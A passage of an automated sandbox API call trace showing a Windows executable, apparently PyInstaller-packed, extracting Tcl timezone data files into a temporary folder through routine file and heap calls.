lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0041.996] GetFileType (hFile=0x10c) returned 0x1 [0041.996] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0041.996] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0041.996] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0041.996] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0041.996] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.996] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.996] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.996] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.996] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0041.996] CloseHandle (hObject=0x10c) returned 1 [0041.996] GetLastError () returned 0x0 [0041.996] SetLastError (dwErrCode=0x0) [0041.996] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc") returned 60 [0041.996] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\etc"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0041.996] GetFileType (hFile=0x10c) returned 0x1 [0041.996] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0041.996] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0041.997] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0041.997] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0041.997] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.997] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.997] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.997] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.997] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0041.997] CloseHandle (hObject=0x10c) returned 1 [0041.997] GetLastError () returned 0x0 [0041.997] SetLastError (dwErrCode=0x0) [0041.997] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT+8") returned 66 [0041.997] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT+8" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\etc\\gmt+8"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0041.997] GetLastError () returned 0x2 [0041.997] SetLastError (dwErrCode=0x2) [0041.997] GetLastError () returned 0x2 [0041.997] SetLastError (dwErrCode=0x2) [0041.997] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT+8", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT+8", lpFilePart=0x0) returned 0x41 [0041.997] GetLastError () returned 0x2 [0041.997] SetLastError (dwErrCode=0x2) [0041.997] GetLastError () returned 0x2 [0041.997] SetLastError (dwErrCode=0x2) [0041.997] GetLastError () returned 0x2 [0041.997] SetLastError (dwErrCode=0x2) [0041.997] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT+8") returned 66 [0041.997] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0041.998] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT+8" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\etc\\gmt+8"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0041.998] GetFileType (hFile=0x10c) returned 0x1 [0041.998] htonl (hostlong=0x72000000) returned 0x72 [0041.998] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0041.998] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x72, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x72, lpOverlapped=0x0) returned 1 [0041.999] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0041.999] CloseHandle (hObject=0x10c) returned 1 [0041.999] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0041.999] htonl (hostlong=0x30000000) returned 0x30 [0041.999] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0041.999] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0041.999] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0041.999] GetFileType (hFile=0x10c) returned 0x1 [0042.000] htonl (hostlong=0x47ba5b00) returned 0x5bba47 [0042.000] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x606a47, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0042.000] htonl (hostlong=0x74000000) returned 0x74 [0042.000] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x74) returned 0x55cfe0 [0042.000] htonl (hostlong=0x74000000) returned 0x74 [0042.000] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.000] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0042.000] htonl (hostlong=0x72000000) returned 0x72 [0042.000] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x72) returned 0x550600 [0042.000] htonl (hostlong=0x74000000) returned 0x74 [0042.000] htonl (hostlong=0x72000000) returned 0x72 [0042.000] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0042.000] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0042.000] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0042.000] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.000] CloseHandle (hObject=0x10c) returned 1 [0042.000] GetLastError () returned 0x0 [0042.000] SetLastError (dwErrCode=0x0) [0042.000] GetLastError () returned 0x0 [0042.000] SetLastError (dwErrCode=0x0) [0042.000] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0042.000] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.000] GetFileType (hFile=0x10c) returned 0x1 [0042.000] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.000] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.000] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.000] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.001] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.001] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.001] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.001] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.001] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.001] CloseHandle (hObject=0x10c) returned 1 [0042.001] GetLastError () returned 0x0 [0042.001] SetLastError (dwErrCode=0x0) [0042.001] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0042.001] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.001] GetFileType (hFile=0x10c) returned 0x1 [0042.001] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.001] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.001] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.001] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.001] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.001] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.001] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.001] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.001] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.001] CloseHandle (hObject=0x10c) returned 1 [0042.001] GetLastError () returned 0x0 [0042.001] SetLastError (dwErrCode=0x0) [0042.001] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc") returned 60 [0042.001] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\etc"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.002] GetFileType (hFile=0x10c) returned 0x1 [0042.002] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.002] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.002] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.002] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.002] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.002] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.002] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.002] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.002] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.002] CloseHandle (hObject=0x10c) returned 1 [0042.002] GetLastError () returned 0x0 [0042.002] SetLastError (dwErrCode=0x0) [0042.002] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT+9") returned 66 [0042.002] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT+9" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\etc\\gmt+9"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0042.002] GetLastError () returned 0x2 [0042.002] SetLastError (dwErrCode=0x2) [0042.002] GetLastError () returned 0x2 [0042.002] SetLastError (dwErrCode=0x2) [0042.002] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT+9", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT+9", lpFilePart=0x0) returned 0x41 [0042.002] GetLastError () returned 0x2 [0042.002] SetLastError (dwErrCode=0x2) [0042.002] GetLastError () returned 0x2 [0042.002] SetLastError (dwErrCode=0x2) [0042.002] GetLastError () returned 0x2 [0042.002] SetLastError (dwErrCode=0x2) [0042.002] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT+9") returned 66 [0042.002] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0042.003] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT+9" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\etc\\gmt+9"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.003] GetFileType (hFile=0x10c) returned 0x1 [0042.003] htonl (hostlong=0x72000000) returned 0x72 [0042.003] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.003] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x72, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x72, lpOverlapped=0x0) returned 1 [0042.004] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.004] CloseHandle (hObject=0x10c) returned 1 [0042.004] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0042.004] htonl (hostlong=0x30000000) returned 0x30 [0042.004] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0042.004] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0042.004] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.004] GetFileType (hFile=0x10c) returned 0x1 [0042.004] htonl (hostlong=0xbbba5b00) returned 0x5bbabb [0042.004] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x606abb, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0042.004] htonl (hostlong=0x80000000) returned 0x80 [0042.004] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x80) returned 0x55cfe0 [0042.004] htonl (hostlong=0x80000000) returned 0x80 [0042.004] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.004] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0042.004] htonl (hostlong=0x9a000000) returned 0x9a [0042.004] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x9a) returned 0x550600 [0042.004] htonl (hostlong=0x80000000) returned 0x80 [0042.005] htonl (hostlong=0x9a000000) returned 0x9a [0042.005] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0042.005] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0042.005] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0042.005] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.005] CloseHandle (hObject=0x10c) returned 1 [0042.005] GetLastError () returned 0x0 [0042.005] SetLastError (dwErrCode=0x0) [0042.005] GetLastError () returned 0x0 [0042.005] SetLastError (dwErrCode=0x0) [0042.005] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0042.005] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.005] GetFileType (hFile=0x10c) returned 0x1 [0042.005] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.005] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.005] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.005] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.005] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.005] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.005] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.005] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.005] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.005] CloseHandle (hObject=0x10c) returned 1 [0042.005] GetLastError () returned 0x0 [0042.005] SetLastError (dwErrCode=0x0) [0042.005] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0042.005] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.006] GetFileType (hFile=0x10c) returned 0x1 [0042.006] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.006] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.006] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.006] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.006] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.006] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.006] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.006] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) 